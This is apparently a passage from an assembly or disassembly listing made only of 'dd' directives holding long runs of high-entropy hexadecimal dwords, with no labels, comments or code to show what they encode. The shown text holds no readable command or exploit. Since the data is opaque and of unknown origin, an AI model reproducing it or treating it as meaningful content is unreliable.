3E1D137Ah dd 3ABE7B14h, 39513D03h, 2CA00E12h, 2400F12Dh, 0E2FBCB74h dd 461A871h, 63283DABh, 0B20EEBC9h, 66B660C8h, 3C4B33h dd 541E9B5h, 1DC4D602h, 184C5107h, 0FC84CDBCh, 276CA0h dd 2680EF36h, 975D9E89h, 0BEECA0Dh, 9AD82243h, 113900CDh dd 9540B3E0h, 8E0A04A7h, 0B1C4D3DCh, 2C406716h, 1BAD4775h dd 754D905Eh, 393E00D6h, 0D7EEA531h, 1A608F7Eh, 0C0F26C38h dd 44091CECh, 815E0069h, 179FE13Eh, 0FA83EA00h, 3DBAA685h dd 0C99700E0h, 0CAB91DBCh, 0C800745Bh, 510A679Ah, 0D3A2F7h dd 6F9C131Ch, 0B48A6968h, 9692CD00h, 22498E9Bh, 33B803A0h dd 6EE77EF3h, 0FC5864C8h, 0E548451Ch, 5FFE94BFh, 0B5CE00F8h dd 495028C4h, 0E468008Eh, 0CDC51A21h, 0DF75B11Fh, 41933E07h dd 20D0E67Fh, 1ED1CCCh, 9258968Ch, 7069534Fh, 250F7C12h dd 3D2DFBAFh, 0C301A8E4h, 0F5B8DE66h, 0D6544007h, 9B4A0A83h dd 7102F5BCh, 0B298881Ch, 0E7532C60h, 7873BE1Eh, 9643DA00h dd 50642316h, 0E11DC67h, 0D9749E6Bh, 3E10FA82h, 0C31EF48Eh dd 0E8F8E9ECh, 5CEBE6D8h, 1FC1C300h, 0D0E2BBB2h, 7DA1B8EEh dd 28C73130h, 60D6DAF0h, 0B4007028h, 0D3F07CDFh, 15B904h dd 0A3E02B13h, 40C04D3Dh, 6D83A904h, 4B4530Ah, 0C6170FDFh dd 0C01C3ED0h, 5DAE2F11h, 0CC12FE93h, 0B800B661h, 3EBDF760h dd 0EC4518C8h, 0E6C7A873h, 0BEB11800h, 11B84152h, 0CC3F0995h dd 516B0Dh, 0A3D721D6h, 0B46FF381h, 2F84AEh, 6692913Ch dd 62003022h, 43693190h, 5687C1h, 0F84CAA7Bh, 6642F44Ah dd 9752F100h, 49B061EAh, 0C5650CDCh, 4AB8F050h, 0A7133EF4h dd 1847B4F5h, 51E936EFh, 0B11338h, 0D2DF6F18h, 0A8C326C3h dd 0B01CB6DCh, 0E30EE7h, 1BBFE93Bh, 9328EEE8h, 4F041C92h dd 0D16DA880h, 0CF13D860h, 41FB9F16h, 4B80705Fh, 18F4D727h dd 0EBDE1FC6h, 2C1EC03Fh, 39F7CEFCh, 0A9AA8000h, 9083117Eh dd 8CAC00CCh, 5242E155h, 4B00DABDh, 227B63EAh, 57BB7Fh dd 21D2BC17h, 0B8FB1BB2h, 0C300FDFAh, 0A9A5854h, 0E28F11h dd 27524CE8h, 0E55DA18Dh, 941C3D00h, 448EA31Ah, 0BE3939BFh dd 895E2D00h, 67AE79D7h, 78DE3D00h, 0C060DB09h, 218D007Fh dd 0D220BDD0h, 97001C52h, 0EFC68376h, 68B546h, 1A724D5Dh dd 4FD07C98h, 39115405h, 0C7806513h, 320608h, 3BB6A323h dd 0C39707F3h, 0C5CB7503h, 0C122458Ch, 0F9FC4302h, 443603F5h dd 0B9E8D7A1h, 86CABBF8h, 0AF683Fh, 0AD28B36Ah, 6F15EAh dd 67C23CCFh, 22810E09h, 4C3E60E5h, 70438h, 0EEBD5EC3h dd 25F147h, 0D5D0A423h, 0A89E9884h, 73881503h, 0A0635BAEh dd 0BE51EAh, 6877CA6h, 2F7DD2ADh, 14013A7Dh, 0B83EB6A9h dd 48E81BC9h, 356400FFh, 2B2275Ah, 53004C82h, 0A3B1BB9Eh dd 1CCEFA81h, 409BDBBCh, 0E34E94D6h, 113E9FBEh, 0BD8000D8h dd 0FB9998DCh, 2B9500FFh, 0DB9E2A78h, 8D0021E2h, 0B21D6766h dd 2A6A8F92h, 0D8A62Dh, 0CD235264h, 0E4671080h, 4404C400h dd 2FA36809h, 73FC00F9h, 0F5FA8ACBh, 8F00B26Fh, 696CD355h dd 778494Ch, 0A0B8485h, 65753036h, 0FF0264AEh, 5DD333BFh dd 929760FAh, 0D5F60263h dd 0B3817EE6h, 0E02721E1h, 2077462Eh, 0F96AB00h, 4695CAFh dd 0FE740061h, 770B8607h, 0E307EEA3h, 0CC268BA0h, 9094B823h dd 312B76h, 5C3AF49Ch, 0D544964h, 0E144730Eh, 0C340BEB1h dd 6BF1B74Bh, 0AD2A005Eh, 544C41CEh, 0C0007620h, 0EB508409h dd 4B160F8h, 8148054Ah, 0D9198395h, 8FBC2988h, 506BFF00h dd 7E4FB0B3h, 69B40042h, 563DDCCDh, 0C6078611h, 0F48A9629h dd 0C17EE0AEh, 0A003E4DAh, 0BA08A0h, 0D41B5550h, 856125EFh dd 0ED700200h, 0A804632h, 0BFA900AEh, 8FD86435h, 430087BAh dd 0A109485Fh, 0F6D77930h, 465012EBh, 0A01C5118h, 459A1300h dd 172AB4B7h, 4B4515Ch, 0A15A3858h, 0CC642880h, 840200AEh dd 34EB797Ah, 0B4A0B32Ch, 0EE006C7Ch, 40811969h, 470E48h dd 0BA77C3F8h, 3943B1DFh, 0B046A200h, 0C2FE7C1Ch, 29E00094h dd 0E1D07288h, 32F080CCh, 7956DF07h, 0AAC010AFh, 2A7BB9h dd 0D0321BBh, 284F145Fh, 0D1557F00h, 4832195Ah, 0D8C307D7h dd 7783BC06h, 0C7C1D02Bh, 540094A5h, 4C7FE6FBh, 3AB5AB67h dd 680199C0h, 279778DAh, 0FC647157h, 8B00EE37h, 0E098A7B8h dd 1B3123Dh, 200D73FFh, 0D0E22F33h, 30EE7736h, 37A4C903h dd 0A07EEF7Ch, 0AF69BF8h, 2D71AA6Bh, 85CD0084h, 0A827A556h dd 0D8584300h, 57187BA1h, 0F13401B5h, 5C352349h, 0B436E0AEh dd 0D12C700h, 408A0897h, 77E0A7h, 668B9355h, 7B176DCEh dd 1C721907h, 0E2C0523Ch, 7CC6C1E1h, 439D00C4h, 4D02B309h dd 0D9F42745h, 2C037107h, 3EC7942Ah, 0FB281EA0h, 0F63018Ah dd 56692B0Bh, 396BD474h, 34E87300h, 2DF41918h, 0ACC260D2h dd 0B6D5EA5Ch, 3AE0A007h, 0A600DBAh, 30DBAB4Ch, 0F7386806h dd 0CDF68149h, 23DF8900h, 0E80E471Bh, 8D5E00C8h, 0C4AE6AF1h dd 34075173h, 3260DB6h, 0B9E08620h, 634F13A9h, 0A8540731h dd 0CBE0075h, 2F3E37B1h, 5CA709DBh, 923C805Ah, 64065Bh dd 9F3D65B5h, 0E37D3907h, 5690C600h, 0A953FC42h, 3375007Ch dd 0DD14A64Ah, 8B1D5ADEh, 265CFBD9h, 44CB003Dh, 53F1F883h dd 0A2730913h, 0F680E74Eh, 31298186h, 38D5FF37h, 2C72A50h dd 92430341h, 0DCFAABC9h, 7A656E0h, 0DD38C004h, 7CC89D79h dd 68E90029h, 7B2D2C55h, 49FEC55Fh, 32B25201h, 0B315EEB0h dd 0E868800h, 4BF2F70Eh, 0C9278348h, 2114D084h, 68A03C0Dh dd 85AFEF80h, 0E2A428ACh, 382011Fh, 0DF694440h, 836577h dd 884EC33Eh, 125046Bh, 62009BF0h, 0B412E353h, 0E25E9Fh dd 8E069649h, 0C04C1748h, 38DC6900h, 0F5C85586h, 0B91B0426h dd 0C0B85678h, 0F48B0447h, 0B4A048h, 68446F76h, 3BCD34A5h dd 0F59FDB4Bh, 806BDD21h, 889E9183h, 0C8126A16h, 0CF001A76h dd 8D1A57Ah, 8592005Ch, 45B5D18h, 442441D0h, 2F0F1457h dd 0C8E320B2h, 1EFD71h, 65220BF3h, 0A89BEB62h, 7700F2F8h dd 0FB24BB25h, 0E6D72D1h, 0D460AC6Fh, 20DCE3E0h, 0F1003009h dd 0BB8DBFA0h, 1C5865h, 0C8770E16h, 0E08F5503h, 50667F00h dd 4C8E43A3h, 0FAE89082h, 3A7028Ch, 9C6E9858h, 0DA09C7E1h dd 0D7B9ACC8h, 0F972B00h, 80D1F277h, 0AFB0020h, 5C379634h dd 0C300AAB8h, 9DC16117h, 1EFFA5Fh, 50086ECAh, 0D0E0F479h dd 2B0152Bh, 98888D26h, 964ABA80h, 1D36D1h, 6C997016h dd 1FD76F41h, 9101437Bh, 472CCD3Dh, 91308BC1h, 86B8000Ah dd 28A14E8Ah, 4B00E783h, 54FE3462h, 7D613Fh, 2EE78E2h dd 100AB305h, 1E7EDB07h, 9710D0BDh, 32D373Dh, 0D8AA39C6h dd 8800FBE8h, 92EF0FECh, 0F5455947h, 1C791DDCh, 0CF6C6EB1h dd 13A0CD27h, 4E324321h, 2C513Dh, 54C63C11h, 332A9EEBh dd 0FCE47DB6h, 886B501Eh, 0A30394EEh, 0D2F97B32h, 4F9C6864h dd 2744A005h, 84454C6Eh, 0D001D3Ah, 42412B8Ah, 5F0FCB1Ah dd 0A04B3E87h, 0B970AEB5h, 29591390h, 0B7AC4393h, 71034FC1h dd 8AD22B06h, 3F2DD811h, 0F51F2A72h, 0E87EA0ACh, 5C7145h dd 0A9D5AF50h, 86D64B41h, 16BC650Fh, 9F2F8Eh, 2C4E669Bh dd 205E00BDh, 0DE84280Ch, 0C900F7A1h, 0FCDAFB90h, 1D5277D2h dd 80CB4BB3h, 5698FA9Eh, 1F0AE512h, 0F8F5C6D3h, 0CD1AC701h dd 0E8C835DEh, 52E42415h, 0F792009Ch, 6E223043h, 8C703300h dd 0B37B8F85h, 567C1E8Dh, 0FEFBBEh, 0B8585018h, 134D2FEFh dd 0B839602Ch, 0C22D5A0Ah, 0B6421500h, 58A26A3Ch, 0E3A4055h dd 86A6918Eh, 25C89860h, 0B8A0790Ah, 0AB1E8A76h, 0CC05558Ch dd 9488A7CDh, 0D30084F6h, 0F3BD368Ch, 76167031h, 9B6FCB3h dd 0CC69747Bh, 0D3FA5483h, 4DEA11A0h, 3F768300h, 0A86F4564h dd 0B0F43AEFh, 32BA8D00h, 752566EEh, 196DFF1Eh, 0CE4C1D80h dd 0F6D32350h, 10B60357h, 95132829h, 19270C90h, 2A5D0A00h dd 5B184C6Ah, 0B78F07A8h, 0E0965E0Fh, 8BE77159h, 0BFD8A700h dd 0F79CDA05h, 32B700D3h, 0D59A1D37h, 860151EBh, 0D8BE4A35h dd 7C702457h, 1F1B0F79h, 3D622D46h, 0E049F9C1h, 1C08E462h dd 9B599906h, 483C9Ah, 4831F705h, 0B6175519h, 0D85C49h dd 0A81EADD9h, 40A4Ah, 1CD0AF49h, 0BC2097E3h, 41DC1431h dd 77704728h, 12D6702Ah, 1922CB9h, 2629EA68h, 23EFD882h dd 0C2DA3D00h, 697DA179h, 111803B7h, 0DCB97509h, 0ACD804CDh dd 1BD48C34h, 9D5C6376h, 0BF26265Ch, 0C996B50Ch, 6E28040Ah dd 88657813h, 0E0032090h, 0C9C31943h, 41F6BA24h, 6440CC48h dd 2D454BEh, 0AB1C2128h, 0A0402BB6h, 7E3F3244h, 0BA00F936h dd 0DB375724h, 0DF097FBDh, 44948F40h, 0DE05C6E0h, 990E6185h dd 60BF3D2Fh, 62ECD353h, 0B9C72666h, 0CA8300CEh, 8A8F679Fh dd 0FF3A3C00h, 56683ED7h, 98A40021h, 7A222A3Fh, 5903312Eh dd 88575397h, 911588B5h, 409087h, 1AC046A4h, 3AF990DAh dd 0C1836F1Eh, 22B66E01h, 988048D0h, 0B71C5EEh, 9501DAE6h dd 64047CF4h, 0CF41A57Dh, 0C0FBD06Bh, 4D8C61h, 0C1935A11h dd 1444EFF7h, 91AE8E1Dh, 86D4C802h, 2503C085h, 5ADF030Ch dd 1AFC275Dh, 411C7BF8h, 85697C01h, 8640C89Dh, 1C8BB030h dd 8182D025h, 8087A14Fh, 5B9F30DFh, 7CC51B00h, 0CC304CBAh dd 236E0048h, 0BCEC4B1Eh, 382E3D1Dh, 0CD0051C6h, 7FAA01ADh dd 0F27356h, 1C157113h, 5336E22Eh, 7D483C00h, 8A6458BBh dd 0FF28C07Ch, 0BD7393B4h, 3959CE0Bh, 7B85815Ch, 2080A8F4h dd 41ADB8Eh, 80001989h, 814336C2h, 0A072ED4h, 71ADB6D2h dd 0EE6C00D2h, 0FB2BCEC8h, 0C21E60EEh, 0CA09FC41h, 0D0EA8029h dd 3F73E499h, 16802381h, 34B14E0h, 27123E6Ch, 32002A49h dd 0CCE23795h, 0F0C93D4Ah, 5E351180h, 2A3681E8h, 0A889AD00h dd 0B3F6A18Bh, 580C0079h, 0B1726501h, 380002FCh, 2532FB1Ch dd 7E0D5D59h, 60E2005Bh, 466A4478h, 1E0057F7h, 0DE4DA39Ch dd 50CEBE75h, 17FBC29h, 0C3F7B6D4h, 60CD87A4h, 1B000844h dd 68544784h, 797B07h, 616B46E1h, 9E1A5BF7h, 53FEDE07h dd 8230285Dh, 2DC3Ch, 9ABEC171h, 5472DD96h, 7824D300h dd 338ACFC2h, 0B01600C7h, 0D15D972Eh, 300A419h, 5EC2B852h dd 5F51508h, 9C42DCF6h, 33CE0051h, 9588A20Ah, 2DBF6300h dd 7826F1F8h, 143014CFh, 7D82C7h, 0D1BB86A7h, 55D55C5Ah dd 3669780Fh, 0C3CAA0B9h, 0A17ADBh, 9BF41113h, 0F07750BDh dd 1DB53Ch, 8FB1151Ch, 0F6B448h, 49EB6875h, 0D801C607h dd 517895h, 39CE662Eh dd 4C0DB1EFh, 0C450D306h, 24ED8Fh, 0B0DD41F1h, 0D16B5781h dd 0C7100B00h, 7CFF4B82h, 290C00EEh, 0DE8AAE78h, 9A0096B2h dd 0B90DCB0Eh, 959710h, 0B4F414E6h, 7688C41Dh, 5C461101h dd 58BEA1F8h, 9B9020h, 0A53D57DFh, 65542C30h, 9300B67Eh dd 4C337E41h, 1FEF602Eh, 40D82F8Ch, 964BBC1Ch, 0A600E33Bh dd 0A70A6274h, 30EAD5h, 2188C06Fh, 778AAEEh, 92093Eh, 0A66CFF9Ch dd 34A83Ah, 3806327Ch, 3BD6D368h, 2D506100h, 0FE7DB49Eh dd 0C9CC004Ah, 38F3A0F7h, 0E60AA32Fh, 8EC31CBh, 8DF2690Fh dd 96FCA8DEh, 0FF621C5Fh, 188F4053h, 0D0D48542h, 95F4F705h dd 1180AF10h, 4619C3h, 0B15DF2B3h, 5C6DE04Ch, 0CE599703h dd 0EC4AAD89h, 0F6114097h, 11E055BCh, 0A7F40060h, 2C365C47h dd 39070F56h, 0A0424B48h, 959EE320h, 7910328h, 0F7AE34CFh dd 0EB2B8188h, 932DA01Ch, 0F82E9B40h, 17F0F68h, 6AD544E6h dd 0E08D3CBBh, 0C3013970h, 43798042h, 0FAD48AABh, 0EB530082h dd 0C4126613h, 620140BEh, 0FBEF2C3Fh, 1821D890h, 7E43ECh dd 22FCDFCAh, 376B4BD9h, 2CCF7B00h, 99549FEBh, 6F160F73h dd 0E76B0935h, 159A8F00h, 0C769E660h, 22C0311h, 67588010h dd 362E478h, 0DAAEEB7Bh, 0C0885176h, 360345F9h, 4B755558h dd 6A13A1CCh, 4DC6E0h, 253DE519h, 8373DAE2h, 37307400h dd 2D98CCDh, 0D8C30036h, 0A7A31A20h, 0AF002E99h, 3E54739Eh dd 240B4184h, 0D74D21h, 8CCB6E7Ah, 0E00040CDh, 6DE27DF3h dd 70A0A3h, 0A87BDFEDh, 6D7A55Fh, 7824D1Fh, 783F85C0h dd 4814A1h, 1D97E27h, 82F29DF1h, 16223A09h, 2C34848Dh dd 3DED0680h, 35F10061h, 0D190696Eh, 0A1005EFAh, 0B8E99720h dd 0C411ACh, 7568A02h, 5D993FF0h, 0B9D3690Fh, 0EFFCC084h dd 0E7208h, 509CD252h, 4F9F373Ah, 492D8001h, 7866FF65h dd 1212C8E0h, 64760Dh, 83696278h, 0C204CE55h, 0C10FF5A7h dd 0A8A534C0h, 9E4C0032h, 96D0E977h, 0F130A1ABh, 0CE5D1193h dd 99223A4Eh, 989DEA0Ch, 7F0FA330h, 20A7D660h, 149AF830h dd 2435183Ah, 10D27175h, 37F56707h, 13F03D47h, 303B355Fh dd 9C2027A2h, 9DE86216h, 0F16D2507h, 8CCE324h, 7B7830DFh dd 15FE1318h, 0D41EF6F0h, 0C603201Bh, 0E8A54C07h, 0E7D53Eh dd 7BEB9772h, 87689817h, 0E2183100h, 487C29E4h, 15F9026Dh dd 99F8752Ah, 0ECFB5BC0h, 7860DF31h, 3560C030h, 95E400A4h dd 0E1C1FA59h, 1901F2C4h, 56723A2Fh, 0B180AEB7h, 0B9337B04h dd 0C20074FBh, 1C43518Dh, 0B36407h, 1282B78Fh, 8562A8E7h dd 84A4B200h, 0E64EFD72h, 3E60B024h, 763F6B9Ah, 0FF5BE880h dd 6FAB2501h, 0E318BEF4h, 0D208B68h, 0C267FC80h, 5E770EA0h dd 80E12CE1h, 66AE1930h, 0C35F82Ah, 9F8FC8A5h, 0E318BB18h dd 6C7863EAh, 1E6A780Dh, 380B0F1h, 170BCF30h, 6520280Dh dd 0D08F08C9h, 1BE02B1Ah, 0FFD1B36Fh, 897990A8h, 65A608C3h dd 548900DBh, 15FA4C9Ch, 107F916h, 5689D991h, 1DA8009Fh dd 0FC0C6BF2h, 25740039h, 0D8C8B090h, 0E607307Fh, 2C844055h dd 48B51580h, 67E00707h, 87870247h, 0B7AC60C8h, 0F806B1BBh dd 0AEEF77Ch, 384A0F60h, 90231610h, 67D0114Bh, 0E3F42E06h dd 83092D00h, 0BAB21471h, 0FE7F0046h, 5565502Ch, 6358ED61h dd 0FFEE008Dh, 13E31B22h, 0DE5F0080h, 42231C8Fh, 5C005DBDh dd 0A5A066Bh, 0A7498Dh, 701E45C1h, 387321A8h, 0DDACFE07h dd 7850A15Bh, 0F0175Dh, 7A9DE4Eh, 97EEF3D9h, 0FD733300h dd 789543E2h, 89463E58h, 536BE803h, 0E0398C11h, 0F80283D8h dd 1209B23h, 0CB4F14EEh, 80B7A8ADh, 0D1DBD420h, 6D29A9h dd 3E7022E3h, 135FECF4h, 0A3C1AF0Eh, 502E2016h, 0B83FD399h dd 0ED6F1F73h, 3D6B26B6h, 9026B0Ah, 0F8018338h, 629C9654h dd 7F1B21C9h, 1695ECF6h, 5C318900h, 9B511E74h, 0C7AB7C4Bh dd 603FFFD0h, 0DAED4D7Eh, 2C38F460h, 3BFFCEAh, 5AC743F2h dd 881E66E6h, 0D714CCA3h, 0FE7D3FF0h, 0BF2ACE00h, 31598602h dd 37B2F889h, 7EC87955h, 0DAC16DA0h, 0D90F9EFEh, 0A0C4AE1Dh dd 757050FAh, 0D3FB1FF1h, 8BB680CEh, 5B3BE9A2h, 8E054B00h dd 0D584E67Ch, 5F060034h, 0FA4711AEh, 0C539B213h, 0FE100BAh dd 32BC5021h, 26D100E6h, 0A176667Ch, 0F3029FCAh, 5AC20A1Fh dd 0E46EE0FAh, 0C39716B8h, 900AFC4h, 3CC1399Bh, 0D30200EBh dd 0B3DDE4DAh, 0E004DA9h, 1B71BDE2h, 719FB95h, 0F4D844FFh dd 0EF5C305Bh, 0E200DD74h, 0B9569F70h, 1D01D15Fh, 404B3A9Ch dd 0A4E4F765h, 1F0042F2h, 60C1FCA5h, 0D7D86Bh, 29C0320h dd 36547E5Eh, 0DCAC8C00h, 0C8FB89CFh, 29B500FDh, 87FBB4Fh dd 7900CE76h, 8110DCABh, 554CCDh, 23453303h, 8BA259D6h dd 0C3172F00h, 0E995FAAFh, 8D240125h, 0AC8E15FDh, 70A4B166h dd 1085821Dh, 2EF6AFh, 4111BF81h, 40C00534h, 0E2B7587Bh dd 0A0DF1CBCh, 5456C1E6h, 0E092EDE5h, 76016FCFh, 600C1DFCh dd 806BE643h, 0AA3C3037h, 92BDFD0Fh, 241E8731h, 2C77CD90h dd 8CF30081h, 604969E5h, 9B01D3A9h, 1103A4A8h, 0ACD5E99h dd 0DD9878BDh, 683B1867h, 0B216AD0Eh, 0C85F86B9h, 21950749h dd 606BA7FEh, 325C6A9Ah, 8EFF4D00h, 227A5D33h, 8C1B0054h dd 0F3CD9F7Fh, 6002707h, 66E3A921h, 1E29D4C5h, 87E47BF9h dd 0C0AADD04h, 242EF3A7h, 0CC643Eh, 7A2DCEB5h, 0A80632h dd 0F3494803h, 0E5C06652h, 0F700B474h, 1032B2C2h, 79FD0Ah dd 0B182EADEh, 8F62AB18h, 0A20E33ECh, 4072C8E3h, 22492625h dd 86900132h, 0F5EE3A13h, 1807E387h, 3D141240h, 2179D3h dd 682EC410h, 0C5C332E5h, 2B7C430Eh, 314E8DC0h, 6DFCC8h dd 77A0D07Dh, 1D1B164Bh, 0FE38E1Fh, 0BA9BB280h, 0A1887F6h dd 7AA25B14h, 6838002Ch, 0CC9054BFh, 80017486h, 68002F9Bh dd 0AAC42865h, 1ED3EF3Ch, 1C9FFBh, 8AC57AA4h, 0ACA061B4h dd 0E714437Fh, 9422EDh, 3A9B6926h, 0C4FE30h, 0ECF8EB86h dd 0DF36CF40h, 0DE620C0h, 0F72998Fh, 0C6702A2Ch, 981198Bh dd 400BDB3Ch, 0DDC73188h, 0A96F8200h, 480570E5h, 63301FEh dd 275038B8h, 2F806E8Eh, 0B085CFECh, 0EA1B00BCh, 6D03FFBDh dd 8A00189Dh, 0E659B1C2h, 0C4C857h, 3CC6F3B8h, 2C461AE9h dd 280070F0h, 15D02F33h, 79FDE22Eh, 0F433ED1h, 0AA76FB80h dd 8A50B5B0h, 8DEE60E2h, 44043Ch, 0C272A9DBh, 7E1A63h dd 91232E35h, 0CC4BF98Eh, 2C99B600h, 0E833B004h, 9EBA00D2h dd 2F0EC7B3h, 0A975DCB5h, 862439B8h, 0D400A872h, 176425C2h dd 70C50129h, 5A6952A0h, 444F6038h, 0C40B0900h, 0C6FF36FAh dd 3BF60F9Ah, 809F3770h, 97DA3C92h, 7900C126h, 0FF7D0E06h dd 3D3865DFh, 9083B428h, 8D4A4DFDh, 0CE59F2B8h, 5F39220Bh dd 0DC70793h, 2A602967h, 9AAE07h, 7BF0A10Eh, 8EC9A431h dd 0DACB5800h, 0B9023E96h, 1D6800B0h, 0EC91D2F8h, 0A27DFB7Bh dd 0C1FDCB00h, 2587C81Eh, 0B0D0CC9h, 70B86728h, 0DA449D00h dd 9E62E640h, 0A42103BAh, 87F91DB7h, 92519B80h, 42F6F400h dd 8E4335B8h, 0C9700753h, 510D5771h, 0FF67A5CCh, 6828FAE8h dd 0F40BF8C0h, 2E1F6DB3h, 0BBC38h, 14C0C3EEh, 0FD008FD6h dd 53931CADh, 0EE9F4A0h, 0CAFF2E75h, 2AB339E0h, 0A70033AFh dd 0B4176FDAh, 1B10EE9h, 3F0B599Bh, 2E49B28Dh, 0D617E0h dd 0C56C2D7Fh dd 0B89F3EF5h, 80F89D06h, 0F6BE25h, 0D71E3A02h, 1BF4915Eh dd 6C3F0905h, 42C0B58h, 0E11A1F80h, 0F77005Ch, 65533E9Eh dd 8DF0FD00h, 1C47BD6Ch, 811A0195h, 3BA8155Fh, 88BAC177h dd 0BFFED129h, 11CDBB90h, 8B117B23h, 0DCD511B7h, 963D11h dd 3BA982C7h, 7688F14h, 0E028A011h, 1B8DA079h, 0BF00EB31h dd 7E2CDC8Ah, 1262633Ch, 0B8E06Fh, 896E0DAAh, 0BB0022C3h dd 1590BC5Ch, 0FE96B3h, 0B7ED78F5h, 0CEB4C471h, 6068DF1Fh dd 9C42D3C0h, 0AD48BDh, 12843EDEh, 75433F10h, 1478739h dd 0D0AE26C1h, 9040392Eh, 944DC6h, 0DBCDC393h, 0F8DF2C88h dd 0E67B791Dh, 74E73AC0h, 1CBB664Bh, 46F53202h, 6A0FC6C5h dd 1655F900h, 6487BE2Dh, 0B0350006h, 0EC1174E3h, 8D07A67Eh dd 0FB10A556h, 0F8FAD883h, 39BE0F7Ah, 6680E663h, 0B931C528h dd 2C00F333h, 0E9A40582h, 0ACD9EDh, 5549D1E8h, 0F8B44B3Dh dd 0FEFFFC05h, 0B7C7A062h, 2B50C1A0h, 0CBFD0045h, 0D48C4728h dd 0C203C6BBh, 5E75C568h, 4344F823h, 92CC006Ch, 0B1E2A501h dd 9A7DF3DFh, 0BDA2973Eh, 0A9E00021h, 0F720B049h, 2BBC0064h dd 31783B52h, 5102A5FBh, 7A9C065Ch, 7CADE040h, 0F6DB0E04h dd 7B602245h, 6C75CB4Eh, 0A2F95400h, 8B87C73Bh, 5ABB0008h dd 10066ADAh, 7E032823h, 1DFA2AD3h, 0C06E83BAh, 0F0298C9Dh dd 0AAEE3BEDh, 5A78AB80h, 240372AFh, 4BC43E1Bh, 0DA13D0C1h dd 2FC60066h, 9141F3F4h, 4A0EB1EBh, 208D8FBDh, 31B3B7D3h dd 0B559071Bh, 115C9052h, 4045CBFBh, 7029B708h, 0D5E86B00h dd 4B480A75h, 0FCC55359h, 0AD793D0Fh, 9D60CA8Eh, 0A2EC6047h dd 771625Ch, 1C241D4Eh, 6B584B10h, 0F35E0104h, 804D59AAh dd 0B677DCA1h, 0E4C88B00h, 40862056h, 494F0031h, 0D9651EBAh dd 0CD385F43h, 0CB9B8768h, 0EA172AF8h, 7A029060h, 0C36F00E1h dd 4533683h, 2E1E58E9h, 5CC31527h, 0C03C3177h, 0F80FF5h dd 0E5A898Dh, 0C04625EAh, 5FC55B00h, 0B98E9499h, 0E48D0074h dd 60F60CBBh, 6600EC26h, 0DC9FDA71h, 17F4709h, 2C982ABEh dd 70EA82D6h, 29FC78F0h, 2C8EF8B5h, 26150B20h, 93790013h dd 51458EF7h, 0EFFF7B00h, 8B5FC1F3h, 3D8B04Ch, 5897D529h dd 1FB53BBDh, 6B4EC008h, 6AB82522h, 45B43C50h, 9AB0BF75h dd 0DC93B480h, 0FE00D5E6h, 0FAB369DBh, 2CD80376h, 14565B4h dd 0E521A72h, 0EF91FC42h, 0CBACBE00h, 78393527h, 0C7EEB4h dd 17CCEC2h, 0AF555CE2h, 53277001h, 0CACC253Bh, 0F2FBF4C0h dd 0AE0502B9h, 0CF8E9D5Fh, 0CE66E5E0h, 0BD3CC5F4h, 552A02F7h dd 60BEDA46h, 0B36F1Ah, 76E7BF21h, 35DB7510h, 5C251100h dd 0A93BC79Fh, 0EC4E0003h, 30F33141h, 0B4017347h, 0CDF10124h dd 0C88046BAh, 924F4905h, 6B00BDB2h, 0F3519B5h, 0D70738h dd 561B069Dh, 0A599CF5Bh, 1284F550h, 0F7C91609h, 0BA0020D6h dd 1C9D1342h, 0FD0C5963h, 8B15B780h, 0DA1770Eh, 0B609D000h dd 2E57073Dh, 0A202004Eh, 5AAD1BE4h, 5600C2ABh, 0F0A41549h dd 5BA6E2h, 0BE6F79DBh, 5CE4B9CDh, 92324701h, 9C5D0F12h dd 25002C8h, 7487E7A0h, 1CC93156h, 0DD5F02Fh, 4DC3D707h dd 0C7A290D2h, 5ECBE01Dh, 63060A5h, 0E5DF34Ch, 0A2152200h dd 983A8E0h, 0E80600A6h, 0F8B2F0B7h, 53FA13BBh, 394A200h dd 6D7665Bh, 95FC002Bh, 76C1D088h, 680F9738h, 0C0431EB7h dd 0EB33EC09h, 821A00F3h, 72E00429h, 5F002299h, 0A3A14677h dd 1BCB74h, 9AAA8491h, 31276BEBh, 0D12A3303h, 0F86C2F92h dd 34435Ch, 584475F2h, 0A60466E9h, 23562000h, 884AE5C9h dd 4B8600C3h, 0D1E61DD2h, 0FD061F5Fh, 0E29FAA14h, 8F1A0010h dd 0DE6EB138h, 47F84852h, 30246D00h, 56B586DAh, 337383h dd 0E3825F2Dh, 1DD19CE8h, 0D7018474h, 2E537E72h, 8D8C7A3h dd 7F83EA22h, 4E01125Ch, 3A6900FBh, 3D9D317Ah, 0A1499200h dd 3BE2F3B1h, 855008Dh, 0AD8C4A17h, 0DA71A301h, 0EC53BD00h dd 0A8835A1Eh, 9E1B00AFh, 38EFFAF2h, 0D4008D41h, 0E9F1F5E6h dd 0EA350AF8h, 0BC5600A9h, 0EB6978DBh, 5A0040E2h, 3EA37E6Bh dd 0F811116h, 743F66A9h, 0F365F180h, 3A138AA1h, 240EE450h dd 9D4DE056h, 151D04h, 0E68E9203h, 0A14C38C4h, 0F7EB2400h dd 7C3A8B5Ch, 741600FAh, 51CA1FF8h, 0E0B8E960h, 6C2E4A04h dd 3CC09473h, 2F0E2EAh, 75854B9Fh, 40D7BFD5h, 1FB1CE8Bh dd 80608F73h, 7BE20CDDh, 0A306A81Ah, 0F5B87EFAh, 0F8B30010h dd 644F162Bh, 4E3EAB2Eh, 0B646804Bh, 42F3BA74h, 51D200CCh dd 65FFE8E7h, 0C01B11Dh, 7778208Bh, 0F08015CEh, 0A6E5F197h dd 79FC925Ch, 2093E200h, 0B035857h, 0E74AFh, 55DBDE13h dd 5CA97D25h, 0A500627Eh, 0C3017847h, 0DAF9D7h, 0B4F040FCh dd 0D372E979h, 6B153700h, 92FA9890h, 0EE6C3AC5h, 7C0BB80h dd 0CA8C497Dh, 0DD4E7300h, 46D30396h, 4C0A9018h, 0A4009FBBh dd 1B2DC020h, 0E0F82881h, 0D97C1C00h, 0D1636211h, 48EF00F0h dd 0E9E39B64h, 0AF078E8Fh, 6965382Fh, 1BB576E0h, 930D02D4h dd 32A10E1h, 6E1E877Fh, 4D710400h, 30B71DE7h, 0B148409Fh dd 8E7A56C9h, 44388712h, 719BF900h, 0F41040h, 0D436B052h dd 0AD4E3CEEh, 0EF78C300h, 0DD3EFF94h, 43D20095h, 0A76F337Eh dd 7509BD5Bh, 80EB3D28h, 5F8C0B70h, 0F2C32CABh, 0DDFC0058h dd 843672B5h, 38273E00h, 10EF2442h, 501F0076h, 33AB920Ah dd 36E06358h, 6F555Ch, 4F46CAB3h, 2E534DDAh, 0F89F45h dd 9828F36Ch, 5B00645Fh, 5A3CF85Eh, 1C8762BAh, 0E24BDF5h dd 0ACC0B0A3h, 65E06929h, 80D13B3Ch, 915E21D8h, 0F115DFAh dd 